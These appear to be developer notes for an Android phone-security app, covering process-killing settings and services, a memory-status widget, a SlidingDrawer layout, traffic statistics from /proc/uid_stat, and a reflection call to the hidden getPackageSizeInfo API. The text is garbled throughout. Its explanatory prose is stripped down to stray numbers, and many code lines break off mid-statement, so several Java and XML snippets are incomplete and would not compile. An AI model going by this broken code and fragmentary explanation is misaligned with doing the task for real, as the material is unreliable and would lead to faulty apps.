activityManager.killBackgroundProcesses(taskInfo.getAppPackageName());//		



——

1Activity
2SharedPreferences
3ListViewgetCount()
4ListView
1	activity_taskmanager_setting.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	34Activity	-->
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<TextView
								style="@style/wizard_textview_title"
								android:paddingLeft="5dip"
								android:text="@string/task_manage_setting"	/>
				<!--	1	-->
				<RelativeLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:gravity="center_vertical"
								android:orientation="horizontal"	>
								<TextView
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_centerVertical="true"
												android:layout_marginBottom="3dip"
												android:layout_marginLeft="5dip"
												android:layout_marginTop="3dip"
												android:text="@string/show_system_process"
												android:textColor="#000000"
												android:textSize="20sp"	/>
								<CheckBox
												android:id="@+id/cb_task_setting_checkstatus"
												android:layout_width="wrap_content"
												android:layout_height="wrap_content"
												android:layout_alignParentRight="true"
												android:layout_marginBottom="3dip"
												android:layout_marginRight="5dip"
												android:layout_marginTop="3dip"



												android:textColor="#000000"
												android:textSize="20sp"	/>
				</RelativeLayout>
				<View
								android:layout_width="match_parent"
								android:layout_height="1dip"
								android:layout_marginLeft="5dip"
								android:layout_marginRight="5dip"
								android:background="#66000000"	/>
</LinearLayout>

2	 TaskManageSettingActivity.java
package	cn.zengfansheng.mobilesafe;
import	android.app.Activity;
import	android.content.SharedPreferences;
import	android.content.SharedPreferences.Editor;
import	android.os.Bundle;
import	android.widget.CheckBox;
import	android.widget.CompoundButton;
import	android.widget.CompoundButton.OnCheckedChangeListener;
/**
	*	21Activity
	*	@author	hacket
	*/
public	class	TaskManageSettingActivity	extends	Activity	{
				private	CheckBox	cb_task_setting_checkstatus;//	 checkbox
				private	SharedPreferences	sp;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);



								this.setContentView(R.layout.activity_taskmanager_setting);
								sp	=	this.getSharedPreferences("config",	MODE_PRIVATE);
								
								cb_task_setting_checkstatus	=	(CheckBox)	this.findViewById(R.id.cb_task_setting_checkstatus
								
								//3
								boolean	isShowSystemProc	=	sp.getBoolean("isShowSystemProc",	false);
								cb_task_setting_checkstatus.setChecked(isShowSystemProc);
								
								//1 checkbox
								cb_task_setting_checkstatus.setOnCheckedChangeListener(new	OnCheckedChangeListener()	{
												
												@Override
												public	void	onCheckedChanged(CompoundButton	buttonView,	boolean	isChecked)	{
																//2SharedPreferences																
																Editor	edit	=	sp.edit();
																edit.putBoolean("isShowSystemProc",isChecked);
																edit.commit();
																
																//Activityintent
																setResult(RESULT_OK);
												}
								});
				}
}
3)	TaskManageActivity.java
//	10ListView
@Override
protected	void	onActivityResult(int	requestCode,	int	resultCode,	Intent	data)	{
				super.onActivityResult(requestCode,	resultCode,	data);
				if	(resultCode	==	RESULT_OK)	{//	
								adapter.notifyDataSetChanged();//	ListView
				}
}
/**
	*	9
	*/
public	void	enterSetting()	{
				Intent	intent	=	new	Intent(this,	TaskManageSettingActivity.class);
				//	startActivity(intent);//
				startActivityForResult(intent,	0);
}



ListViewgetCount()
@Override
public	int	getCount()	{
				boolean	isShowSystemProc	=	sp.getBoolean("isShowSystemProc",	false);//
				if	(isShowSystemProc)	{//	
								return	userTaskInfos.size()	+	1	+	sysTaskInfos.size()	+	1;
				}	else	{
								return	userTaskInfos.size()	+	1;
				}
}
-
bug

1
2
3kill
1

	
<!--	2	-->
<RelativeLayout
				android:layout_width="match_parent"
				android:layout_height="wrap_content"
				android:gravity="center_vertical"
				android:orientation="horizontal"	>
				<TextView
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:layout_centerVertical="true"
								android:layout_marginBottom="3dip"
								android:layout_marginLeft="5dip"
								android:layout_marginTop="3dip"
								android:text="@string/screen_off_clear_background_process"
								android:textColor="#000000"
								android:textSize="20sp"	/>



				<CheckBox
								android:id="@+id/cb_task_setting_clear_bg_process"
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:layout_alignParentRight="true"
								android:layout_marginBottom="3dip"
								android:layout_marginRight="5dip"
								android:layout_marginTop="3dip"
								android:textColor="#000000"
								android:textSize="20sp"	/>
</RelativeLayout>
2
ScreenOffAutoClearDaemonProcService.java	
package	cn.zengfansheng.mobilesafe.service;

	

import	java.util.List;

import	android.app.ActivityManager;

import	android.app.ActivityManager.RunningAppProcessInfo;

import	android.app.Service;

import	android.content.BroadcastReceiver;

import	android.content.Context;

import	android.content.Intent;

import	android.content.IntentFilter;

import	android.content.SharedPreferences;

import	android.os.IBinder;

import	android.util.Log;

/**

*	6

*	@author	hacket

*/

public	class	ScreenOffAutoClearDaemonProcService	extends	Service	{

				private	BroadcastReceiver	screenOffReceiver;//

				private	SharedPreferences	sp;

				@Override

				public	IBinder	onBind(Intent	intent)	{

								return	null;

				}

				/**

					*	1

					*	@author	hacket

					*/

				private	class	ScreenOffReceiver	extends	BroadcastReceiver	{

								private	static	final	String	TAG	=	"ScreenOffReceiver";

								@Override

								public	void	onReceive(Context	context,	Intent	intent)	{

	

												//	

												boolean	isAutoClearBgProcess	=	sp.getBoolean("isAutoClearBgProcess"

												if	(isAutoClearBgProcess)	{//	

																Log.i(TAG,	"~" );

																ActivityManager	activityManager	=	(ActivityManager)	getSystemService(Context.ACTIVITY_SERVICE);



																List<RunningAppProcessInfo>	runningAppProcesses	=	activityManager.getRunningAppProcesses();

																for	(RunningAppProcessInfo	taskInfoProcessInfo	:	runningAppProcesses)	{

																				String	processName	=	taskInfoProcessInfo.processName;

																				if	(processName.equals(getPackageName()))	{

																								Log.i(TAG,	"~" );

																								continue;

																				}

																				activityManager.killBackgroundProcesses(processName);

																}

												}

								}

				}

				//	

				@Override

				public	void	onCreate()	{

								super.onCreate();

	

								sp	=	this.getSharedPreferences("config",	MODE_PRIVATE);

	

								//	

								screenOffReceiver	=	new	ScreenOffReceiver();

								IntentFilter	filter	=	new	IntentFilter();

								filter.addAction(Intent.ACTION_SCREEN_OFF);

								registerReceiver(screenOffReceiver,	filter);

				}

				//	

				@Override

				public	void	onDestroy()	{

								super.onDestroy();

	

								//	

								if	(screenOffReceiver	!=	null)	{

												unregisterReceiver(screenOffReceiver);

												screenOffReceiver	=	null;

								}

				}

}

3	
TaskManageSettingActivity.java	
//4 checkbox
cb_task_setting_clearbgproc.setOnCheckedChangeListener(new	OnCheckedChangeListener()	{
				
				@Override
				public	void	onCheckedChanged(CompoundButton	buttonView,	boolean	isChecked)	{
								//5SharedPreferences				
								Editor	edit	=	sp.edit();
								edit.putBoolean("isAutoClearBgProcess",	isChecked);
								edit.commit();
								
								//



								Intent	service	=	new	Intent(getApplicationContext(),	ScreenOffAutoClearDaemonProcService.
								if	(isChecked)	{
												startService(service);
								}else	{//
												stopService(service);
								}
				}
});

a)SharedPreferences
//	6SharedPreferencesonStart()
//boolean	isAutoClearBgProcess	=	sp.getBoolean("isAutoClearBgProcess",	false);
//cb_task_setting_clearbgproc.setChecked(isAutoClearBgProcess);

b)
//	SharedPreferences
@Override
protected	void	onStart()	{
				super.onStart();
				//	
				boolean	isServiceOpen	=	ServiceStatusUtils.isServiceOpen(getApplicationContext(),	ScreenOffAutoClearDaemonProcService.
				cb_task_setting_clearbgproc.setChecked(isServiceOpen);
}
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widget
1 AppWidgetProvider	class	implementation
package	cn.zengfansheng.widget;
import	android.appwidget.AppWidgetProvider;
public	class	ExampleAppWidgetProvider	extends	AppWidgetProvider	{
}
AppWidgetProvider	BroadCastReceiver
public	class	AppWidgetProvider	extends	BroadcastReceiver
2
<receiver	android:name="ExampleAppWidgetProvider"	>
				<intent-filter>

http://developer.android.com/reference/android/appwidget/AppWidgetProvider.html


								<action	android:name="android.appwidget.action.APPWIDGET_UPDATE"	/>
				</intent-filter>
				<meta-data
								android:name="android.appwidget.provider"
								android:resource="@xml/example_appwidget_info"	/>
</receiver>		
3/Widget/res/xml example_appwidget_info.xml
<?xml	version="1.0"	encoding="utf-8"?>
<appwidget-provider	xmlns:android="http://schemas.android.com/apk/res/android"
				android:initialLayout="@layout/activity_main"
				android:minHeight="40dp"
				android:minWidth="40dp"
				android:updatePeriodMillis="86400000"	>
</appwidget-provider>	
4 /res/layout/activity_main.xml
<RelativeLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="wrap_content"
				android:layout_height="wrap_content"
				android:background="#ff0000"	>
				<TextView
								android:layout_width="wrap_content"
								android:layout_height="wrap_content"
								android:text="widget" 	/>
</RelativeLayout>		

<?xml	version="1.0"	encoding="utf-8"?>
<appwidget-provider	xmlns:android="http://schemas.android.com/apk/res/android"
				
				android:configure="com.example.android.ExampleAppWidgetConfigure"	//Activity
Widget
				android:initialKeyguardLayout="@layout/example_keyguard"	//()
				android:initialLayout="@layout/example_appwidget"	//widget
				android:minHeight="40dp"	//widget
				android:minWidth="40dp"	//widget
				android:previewImage="@drawable/preview"	//widget
				android:resizeMode="horizontal|vertical"	//widgetandroid4.0
				android:updatePeriodMillis="86400000"	//widget1800000
				android:widgetCategory="home_screen|keyguard"	>	//widgethome_screen
keyguard(),
</appwidget-provider>		
4widgetswidget
widget



package	cn.zengfansheng.widget;
import	android.appwidget.AppWidgetManager;
import	android.appwidget.AppWidgetProvider;
import	android.content.Context;
import	android.content.Intent;
public	class	ExampleAppWidgetProvider	extends	AppWidgetProvider	{

				@Override
				public	void	onReceive(Context	context,	Intent	intent)	{
								super.onReceive(context,	intent);
								System.out.println("onReceive");
				}

				@Override
				public	void	onUpdate(Context	context,	AppWidgetManager	appWidgetManager,
												int[]	appWidgetIds)	{
								super.onUpdate(context,	appWidgetManager,	appWidgetIds);
								System.out.println("onUpdate");
				}

				@Override
				public	void	onDeleted(Context	context,	int[]	appWidgetIds)	{
								super.onDeleted(context,	appWidgetIds);
								System.out.println("onDeleted");
				}

				@Override
				public	void	onEnabled(Context	context)	{
								super.onEnabled(context);
								System.out.println("onEnabled");
				}

				@Override
				public	void	onDisabled(Context	context)	{
								super.onDisabled(context);
								System.out.println("onDisabled");
				}
}

widget
widget
11-19	03:21:07.909:	I/System.out(2251):	onEnabled



11-19	03:21:07.909:	I/System.out(2251):	onReceive
11-19	03:21:07.909:	I/System.out(2251):	onUpdate
11-19	03:21:07.909:	I/System.out(2251):	onReceive
widget
11-19	03:23:04.401:	I/System.out(2251):	onUpdate
11-19	03:23:04.401:	I/System.out(2251):	onReceive
widget
11-19	03:23:32.361:	I/System.out(2251):	onUpdate
11-19	03:23:32.361:	I/System.out(2251):	onReceive
widget
11-19	03:24:07.662:	I/System.out(2251):	onDeleted
11-19	03:24:07.662:	I/System.out(2251):	onReceive
widget
11-19	03:24:33.772:	I/System.out(2251):	onDeleted
11-19	03:24:33.772:	I/System.out(2251):	onReceive
widget
11-19	03:25:16.593:	I/System.out(2251):	onDeleted
11-19	03:25:16.593:	I/System.out(2251):	onReceive
11-19	03:25:16.593:	I/System.out(2251):	onDisabled
11-19	03:25:16.593:	I/System.out(2251):	onReceive

1widget/widgetonReceive()
2widgetonEnabled()
3widgetonDisabled()

4widgetonUpdate()

widget

awtgo360miui
4





-widget

UI,	1manifest.xmlandroid.appwidget.provider
<receiver	android:name="com.keniu.security.process.ProcessWidget">
				<intent-filter>
								<action	android:name="android.appwidget.action.APPWIDGET_UPDATE"
				</intent-filter>
				<meta-
data	android:name="android.appwidget.provider"	android:resource="@xml/process_widget_provider
</receiver>
widgetwidget
2xml process_widget_provider.xml
<appwidget-provider	xmlns:android="http://schemas.android.com/apk/res/android"
				android:initialLayout="@layout/process_widget"
				android:minHeight="72.0dip"
				android:minWidth="294.0dip"
				android:updatePeriodMillis="0"	/>
3widget @layout/process_widget
4 widget@layout/process_widget

wiz:open_attachment?guid=451c29a6-06a5-431a-90fd-642791aee9a3


widget

1
//	1,
timer	=	new	Timer();
timerTask	=	new	TimerTask()	{
				@Override
				public	void	run()	{
								System.out.println("widget~~~" );
								updateWidgetContent(getApplicationContext(),ProcessAppWidgetProvider.class);
				}
};
//	1		run.
timer.schedule(timerTask,	1000,	1000);
2		 AppWidgetManager	widget	
appWidgetManager	=	AppWidgetManager.getInstance(getApplicationContext());
appWidgetManager.updateAppWidget(provider,	views);
3widgetwidget
views.setTextViewText(R.id.process_memory,	"/" +availMemSize+"/"+totalMemSize);
views.setOnClickPendingIntent(R.id.btn_clear,	pendingIntent);//	idPendingIntent
4widget

//	2-4,
Intent	intent	=	new	Intent();
intent.setAction("cn.zengfansheng.clearMaster");
PendingIntent	pendingIntent	=	PendingIntent.getBroadcast(getApplicationContext(),	0,	intent	,	PendingIntent.
//	2-5,view
views.setOnClickPendingIntent(R.id.btn_clear,	pendingIntent);//	idPendingIntent

public	class	KillBackgroundReceiver	extends	BroadcastReceiver	{
				private	static	final	String	TAG	=	"KillBackgroundReceiver";
				@Override
				public	void	onReceive(Context	context,	Intent	intent)	{
								Log.i(TAG,	"KillBackgroundReceiver~~~widget~~~" );
								//	
								ActivityManager	activityManager	=	(ActivityManager)	context.getSystemService(Context.
								List<RunningAppProcessInfo>	runningAppProcesses	=	activityManager.getRunningAppProcesses();
								for	(RunningAppProcessInfo	runningAppProcessInfo	:	runningAppProcesses)	{
												if	(runningAppProcessInfo.processName.equals(context.getPackageName()))	{//
																Log.i(TAG,	"KillBackgroundReceiver~~~" );



																continue;
												}
												activityManager.killBackgroundProcesses(runningAppProcessInfo.processName);
								}
								Toast.makeText(context,	"" ,	0).show();
								//	FIXME		KillBackgroundReceiver~
				}
}

1widget
2
3ServiceTimerTimerTask
4widgetviewAppWidgetManager
widget
5ServicewidgetonEnabledonDisabled
6
7
8

a)	ProcessAppWidgetProvider.java	()
package	cn.zengfansheng.mobilesafe.receiver;

	

import	android.appwidget.AppWidgetManager;

import	android.appwidget.AppWidgetProvider;

import	android.content.Context;

import	android.content.Intent;

import	cn.zengfansheng.mobilesafe.service.UpdateWidgetService;

/**

*	4widget

*	@author	hacket

*/

public	class	ProcessAppWidgetProvider	extends	AppWidgetProvider	{

	

				//	1widget

				@Override

				public	void	onEnabled(Context	context)	{

								super.onEnabled(context);

	

								//	widget

								Intent	service	=	new	Intent(context,	UpdateWidgetService.class);

								context.startService(service);

				}

	

				//	2widget



				@Override

				public	void	onDisabled(Context	context)	{

								super.onDisabled(context);

	

								//	widget

								Intent	service	=	new	Intent(context,	UpdateWidgetService.class);

								context.stopService(service);

				}

				@Override

				public	void	onUpdate(Context	context,	AppWidgetManager	appWidgetManager,

												int[]	appWidgetIds)	{

								super.onUpdate(context,	appWidgetManager,	appWidgetIds);

								System.out.println("	ProcessAppWidgetProvider	onUpdate~");

				}

	

}

b)	UpdateWidgetService.javawidget
package	cn.zengfansheng.mobilesafe.service;
import	java.util.Timer;
import	java.util.TimerTask;
import	android.app.PendingIntent;
import	android.app.Service;
import	android.appwidget.AppWidgetManager;
import	android.content.ComponentName;
import	android.content.Intent;
import	android.os.IBinder;
import	android.text.format.Formatter;
import	android.widget.RemoteViews;
import	cn.zengfansheng.mobilesafe.R;
import	cn.zengfansheng.mobilesafe.receiver.ProcessAppWidgetProvider;
import	cn.zengfansheng.mobilesafe.utils.SystemInfoUtils;
/**
	*	7widgetwidget
	*	@author	hacket
	*/
public	class	UpdateWidgetService	extends	Service	{
				private	Timer	timer;//	
				private	TimerTask	timerTask;//	
				private	AppWidgetManager	appWidgetManager;//	widget
				@Override
				public	IBinder	onBind(Intent	intent)	{
								return	null;
				}
				@Override
				public	void	onCreate()	{
								super.onCreate();



								//	AppWidgetManager
								appWidgetManager	=	AppWidgetManager.getInstance(getApplicationContext());
								//	1,
								timer	=	new	Timer();
								timerTask	=	new	TimerTask()	{
												@Override
												public	void	run()	{
																System.out.println("widget~~~" );
																updateWidgetContent();
												}
								};
								//	1		run.
								timer.schedule(timerTask,	1000,	1000);
								//	12timerTask3
				}
				/**
					*	widget
					*/
				private	void	updateWidgetContent(	)	{
								//	2widget
								//	2-1,widget
								ComponentName	provider	=	new	ComponentName(getApplicationContext(),ProcessAppWidgetProvider.
								
								//	2-2,view
								RemoteViews	views	=	new	RemoteViews(getApplicationContext().getPackageName(),	R.layout.
								//	2-3,widgetid
								views.setTextViewText(R.id.process_count,	"" +SystemInfoUtils.getRunningProcCount
								String	availMemSize	=	Formatter.formatFileSize(getApplicationContext(),SystemInfoUtils.
								String	totalMemSize	=	Formatter.formatFileSize(getApplicationContext(),SystemInfoUtils.
								views.setTextViewText(R.id.process_memory,	"/" +availMemSize+"/"+totalMemSize);
								
								//	2-4,
								Intent	intent	=	new	Intent();
								intent.setAction("cn.zengfansheng.clearMaster");
								PendingIntent	pendingIntent	=	PendingIntent.getBroadcast(getApplicationContext(),	0,	intent	,	PendingIntent.
								//	2-5,view
								views.setOnClickPendingIntent(R.id.btn_clear,	pendingIntent);//	idPendingIntent
								appWidgetManager.updateAppWidget(provider,	views);
				}
				@Override
				public	void	onDestroy()	{
								super.onDestroy();



				}
}
c)	KillBackgroundReceiver.java	widget
package	cn.zengfansheng.mobilesafe.receiver;

import	java.util.List;

import	android.app.ActivityManager;

import	android.app.ActivityManager.RunningAppProcessInfo;

import	android.content.BroadcastReceiver;

import	android.content.Context;

import	android.content.Intent;

import	android.util.Log;

import	android.widget.Toast;

/**

	*	5widget

	*	@author	hacket

	*/

public	class	KillBackgroundReceiver	extends	BroadcastReceiver	{

				private	static	final	String	TAG	=	"KillBackgroundReceiver";

				@Override

				public	void	onReceive(Context	context,	Intent	intent)	{

								Log.i(TAG,	"KillBackgroundReceiver~~~widget~~~" );

								//	

								ActivityManager	activityManager	=	(ActivityManager)	context.getSystemService(Context.ACTIVITY_SERVICE);

								List<RunningAppProcessInfo>	runningAppProcesses	=	activityManager.getRunningAppProcesses();

								for	(RunningAppProcessInfo	runningAppProcessInfo	:	runningAppProcesses)	{

												if	(runningAppProcessInfo.processName.equals(context.getPackageName()))	{

																Log.i(TAG,	"KillBackgroundReceiver~~~" );

																continue;

												}

												activityManager.killBackgroundProcesses(runningAppProcessInfo.processName);

								}

								Toast.makeText(context,	"" ,	0).show();

								//	FIXME		KillBackgroundReceiver~

				}

}
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SlidingDrawer-

	 SlidingDrawer1
android:content="@+id/sd_content"	
android:handle="@+id/sd_handler"		
2 SlidingDrawer
android:orientation="horizontal"
3 SlidingDrawer
4 SlidingDrawer
11
<SlidingDrawer
				android:layout_width="wrap_content"
				android:layout_height="match_parent"	>
</SlidingDrawer>

	
	android:content android:handle

<SlidingDrawer
				android:id="@+id/sd_traffic_activity"
				android:content="@+id/sd_content"
				android:handle="@+id/sd_handler"	
				android:layout_width="wrap_content"
				android:layout_height="match_parent"	>
</SlidingDrawer>
22

<!--	1	-->
<SlidingDrawer
				android:id="@+id/sd_traffic_activity"
				android:layout_width="wrap_content"
				android:layout_height="match_parent"
				android:content="@+id/sd_content"
				android:handle="@+id/sd_handle"	>

				<!--	1-1handle:+idid	-->
				<ImageView
								android:id="@id/sd_handle"



								android:layout_width="match_parent"
								android:layout_height="wrap_content"
								android:src="@drawable/ic_launcher"	/>

				<!--	1-2content:+idid	-->
				<LinearLayout
								android:id="@id/sd_content"
								android:layout_width="match_parent"
								android:layout_height="match_parent"
								android:background="#99000000"
								android:orientation="vertical"	>
								<TextView
												android:layout_width="match_parent"
												android:layout_height="match_parent"
												android:layout_weight="2"
												android:background="#99ff0000"
												android:text="1" 	>
								</TextView>
								<TextView
												android:layout_width="match_parent"
												android:layout_height="match_parent"
												android:layout_weight="2"
												android:background="#990000ff"
												android:text="2" 	>
								</TextView>
				</LinearLayout>
</SlidingDrawer>





android:orientation="horizontal"	



	 SlidingDrawer	

	

SlidingDrawer
FragmentSlidingDrawer



1sd_contentView
2SlidingDrawer
setOnDrawerOpenListener
ll_traffic_all_info.setVisibility(View.INVISIBLE);		
setOnDrawerCloseListener 	ll_traffic_all_info.setVisibility(View.VISIBLE);
1	activity_traffic_manage.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	36TrafficManageActivity	-->
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<TextView
								style="@style/wizard_textview_title"
								android:gravity="center"
								android:text="" 	>
				</TextView>
				<FrameLayout
								android:layout_width="match_parent"
								android:layout_height="match_parent"	>
								<!--	2	-->
								<LinearLayout
												android:id="@+id/ll_traffic_all_info"
												android:layout_width="match_parent"
												android:layout_height="match_parent"
												android:gravity="center"
												android:orientation="vertical"	>
												<TextView
																android:layout_width="wrap_content"
																android:layout_height="wrap_content"
																android:layout_marginBottom="15dip"
																android:text=""
																android:textSize="22sp"	>
												</TextView>
												<TextView
																android:layout_width="wrap_content"
																android:layout_height="wrap_content"
																android:text=""
																android:textSize="22sp"	>
												</TextView>
								</LinearLayout>
								<!--	1	-->



								<SlidingDrawer
												android:id="@+id/sd_traffic_activity"
												android:layout_width="match_parent"
												android:layout_height="match_parent"
												android:content="@+id/sd_content"
												android:handle="@+id/sd_handle"
												android:orientation="horizontal"	>
												<!--	1-1handle:+idid	-->
												<LinearLayout
																android:id="@id/sd_handle"
																android:layout_width="wrap_content"
																android:layout_height="match_parent"
																android:orientation="vertical"	>
																<ImageView
																				android:layout_width="wrap_content"
																				android:layout_height="wrap_content"
																				android:src="@drawable/ic_launcher"	/>
												</LinearLayout>
												<!--	1-2content:+idid	-->
												<LinearLayout
																android:id="@id/sd_content"
																android:layout_width="match_parent"
																android:layout_height="match_parent"
																android:background="#99000000"
																android:orientation="vertical"	>
																<TextView
																				android:layout_width="match_parent"
																				android:layout_height="match_parent"
																				android:background="#99ff0000"
																				android:text="1" 	>
																</TextView>
												</LinearLayout>
								</SlidingDrawer>
				</FrameLayout>
</LinearLayout>		
2 TrafficManageActivity.java
package	cn.zengfansheng.mobilesafe;
import	android.app.Activity;
import	android.os.Bundle;
import	android.view.View;
import	android.widget.LinearLayout;
import	android.widget.SlidingDrawer;



import	android.widget.SlidingDrawer.OnDrawerCloseListener;
import	android.widget.SlidingDrawer.OnDrawerOpenListener;
/**
	*	22Activity
	*	@author	hacket
	*/
public	class	TrafficManageActivity	extends	Activity	{
				private	LinearLayout	ll_traffic_all_info;//	
				private	SlidingDrawer	sd_traffic_activity;//	SlidingDrawer
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								this.setContentView(R.layout.activity_traffic_manage);
								
								ll_traffic_all_info	=	(LinearLayout)	this.findViewById(R.id.ll_traffic_all_info);
								sd_traffic_activity	=	(SlidingDrawer)	this.findViewById(R.id.sd_traffic_activity);
								
								//	1SlidingDrawer
								sd_traffic_activity.setOnDrawerOpenListener(new	OnDrawerOpenListener()	{
												
												@Override
												public	void	onDrawerOpened()	{
																//	SlidingDrawerll_traffic_all_info
																ll_traffic_all_info.setVisibility(View.INVISIBLE);
												}
								});
								//	2SlidingDrawer
								sd_traffic_activity.setOnDrawerCloseListener(new	OnDrawerCloseListener()	{
												
												@Override
												public	void	onDrawerClosed()	{
																//	SlidingDrawerll_traffic_all_info
																ll_traffic_all_info.setVisibility(View.VISIBLE);
												}
								});
				}
}
3



	





-/proc/uid_stat 1/data/datallu0_a92,10092
drwxr-x--x	u0_a92			u0_a92												2013-11-03	13:05	com.taobao.taobao

2/proc/uid_statid

	
3tcp_rcvtcp_snd



	
4tcp_rcv
tcp_snd
cat	tcp_rcv

	
cat	tcp_snd

TrafficStats-API
TrafficStatsClass	that	provides	network	traffic	statistics.
//	TrafficStatsClass	that	provides	network	traffic	statistics.
//	long	downBytes	=	TrafficStats.getMobileRxBytes();//	2G/3G:byte
//	long	uploadBytes	=	TrafficStats.getMobileTxBytes();//	2G/3G:byte
TrafficStats.getTotalRxBytes();//	 wifi+2g/3g
TrafficStats.getTotalTxBytes();//	 wifi+2g/3g
//	TrafficStats.getUidRxBytes(uid);//	 uid
//	TrafficStats.getUidTxBytes(uid);//	 uid
//	TrafficStats.getUidTcpRxBytes(uid);//uidtcp udp

rootipip
iptable

droidwall	



	



1getPackageInfoSize()	/*@hide*/
2onGetStatsCompleted()ui
handler+messagerunOnUiThread()
PackageManager		
	*	@hide
					*/
				public	abstract	void	getPackageSizeInfo(String	packageName,
												IPackageStatsObserver	observer);

PackageManager	 ApplicationPackageManager

	
private	final	IPackageManager	mPM;	

ApplicationPackageManager(ContextImpl	context,

																														IPackageManager	pm)	{

								mContext	=	context;

								mPM	=	pm;

				}

IPackageManager.aidl

<uses-permission	android:name="android.permission.GET_PACKAGE_SIZE"	/>		

api

package	cn.zengfansheng.getCacheSize;
	
import	java.lang.reflect.Method;
	
import	android.app.Activity;



import	android.content.Context;
import	android.content.pm.IPackageStatsObserver;
import	android.content.pm.PackageManager;
import	android.content.pm.PackageStats;
import	android.os.Bundle;
import	android.os.RemoteException;
import	android.text.format.Formatter;
import	android.view.View;
import	android.widget.EditText;
import	android.widget.TextView;
	
public	class	MainActivity	extends	Activity	{
	
				private	EditText	et_package;
				private	TextView	tv_cache;
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
	
								et_package	=	(EditText)	this.findViewById(R.id.et_package);
								tv_cache	=	(TextView)	this.findViewById(R.id.tv_cache);
				}
	
				public	void	getCache(View	view)	{
	
								//	ApplicationPackageManager	ap;//
								PackageManager	pm	=	this.getPackageManager();
								/*
									PackageManagerapi
									@hide
									public	abstract	void	getPackageSizeInfo(String	packageName,
												IPackageStatsObserver	observer);
									*/
								try	{
												String	packageName	=	et_package.getText().toString();
												Method	method	=	PackageManager.class.getMethod("getPackageSizeInfo",
String.class,IPackageStatsObserver.class);
	
												method.invoke(pm,	packageName,	new	MyIPackageStatsbserver());
	
								}	catch	(Exception	e)	{



												e.printStackTrace();
								}
				}
	
				private	class	MyIPackageStatsbserver	extends	IPackageStatsObserver.Stub	{
	
								//	onGetStatsCompleted.	ui
								@Override
								public	void	onGetStatsCompleted(PackageStats	pStats,	boolean	succeeded)
																throws	RemoteException	{
												long	cacheSize	=	pStats.cacheSize;
												long	codeSize	=	pStats.codeSize;
												long	dataSize	=	pStats.dataSize;
												Context	context	=	getApplicationContext();
												String	cache	=	Formatter.formatFileSize(getApplicationContext(),	cacheSize);
												String	code	=	Formatter.formatFileSize(getApplicationContext(),	codeSize);
												String	data	=	Formatter.formatFileSize(context,	dataSize);
												System.out.println("" 	+	cache	+	"" 	+	code	+	"" +	data);
												tv_cache.setText("" +cache+"" +code+"" +data);
								}
				}
}

wiz:open_attachment?guid=819c60c7-a23f-4b64-b50f-8a2f9fcd3fe5




1activity_clean_cache.xml
<?xml	version="1.0"	encoding="utf-8"?>
<!--	37	-->
<LinearLayout	xmlns:android="http://schemas.android.com/apk/res/android"
				android:layout_width="match_parent"
				android:layout_height="match_parent"
				android:orientation="vertical"	>
				<TextView
								style="@style/wizard_textview_title"
								android:gravity="center"
								android:text="				"	/>
				<RelativeLayout
								android:layout_width="match_parent"
								android:layout_height="wrap_content"	>
								<ProgressBar
												android:id="@+id/pb_clean_cache"
												style="?android:attr/progressBarStyleHorizontal"
												android:layout_width="match_parent"
												android:layout_height="30dip"	/>
								<TextView
												android:id="@+id/tv_clean_status"
												android:layout_width="match_parent"
												android:layout_height="30dip"
												android:gravity="center_vertical"
												android:text=""
												android:textColor="#ffffffff"
												android:textSize="20sp"	/>
				</RelativeLayout>
				<Button
								android:id="@+id/btn_clean_cache"
								android:layout_width="match_parent"
								android:layout_height="50dip"
								android:background="@drawable/btn_green_selector"
								android:text="" 	/>
</LinearLayout>
2	 CleanCacheActivity.java	
package	cn.zengfansheng.mobilesafe;
import	java.util.List;
import	android.app.Activity;
import	android.content.pm.PackageInfo;
import	android.content.pm.PackageManager;
import	android.os.Bundle;



import	android.util.Log;
import	android.view.View;
import	android.view.View.OnClickListener;
import	android.widget.Button;
import	android.widget.ProgressBar;
/**
	*	23Activity
	*	@author	hacket
	*/
public	class	CleanCacheActivity	extends	Activity	{
				private	final	String	TAG	=	"CleanCacheActivity";
				private	ProgressBar	pb_clean_cache;//	
				private	Button	btn_clean_cache;//	
				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								this.setContentView(R.layout.activity_clean_cache);
								pb_clean_cache	=	(ProgressBar)	this.findViewById(R.id.pb_clean_cache);
								btn_clean_cache	=	(Button)	this.findViewById(R.id.btn_clean_cache);
								
								btn_clean_cache.setOnClickListener(new	OnClickListener()	{
												
												int	count	=	0;
												@Override
												public	void	onClick(View	v)	{
																
																//	
																new	Thread()	{
																				public	void	run()	{
																								Log.i(TAG,	"~~~" );
																								PackageManager	packageManager	=	getPackageManager();
																								List<PackageInfo>	installedPackages	=	packageManager.getInstalledPackages(0);
																								pb_clean_cache.setMax(installedPackages.size());
																								for	(PackageInfo	packageInfo	:	installedPackages)	{
																												count++;
																												pb_clean_cache.setProgress(count);
																												try	{
																																Thread.sleep(20);
																												}	catch	(InterruptedException	e)	{
																																e.printStackTrace();
																												}
																								}



																				}
																}.start();
												}
								});
				}
}

	



1

2
DELETE_CACHE_FILES

settingctrl+h		api
else	if	(v	==	mClearCacheButton)	{
												//	Lazy	initialization	of	observer
												if	(mClearCacheObserver	==	null)	{
																mClearCacheObserver	=	new	ClearCacheObserver();
												}
												mPm.deleteApplicationCacheFiles(packageName,	mClearCacheObserver);

private	PackageManager	mPm;		

String	packageName	=	mAppEntry.info.packageName;		
mClearCacheObserver	
if	(mClearCacheObserver	==	null)	{
																mClearCacheObserver	=	new	ClearCacheObserver();
												}
mClearCacheObserver	
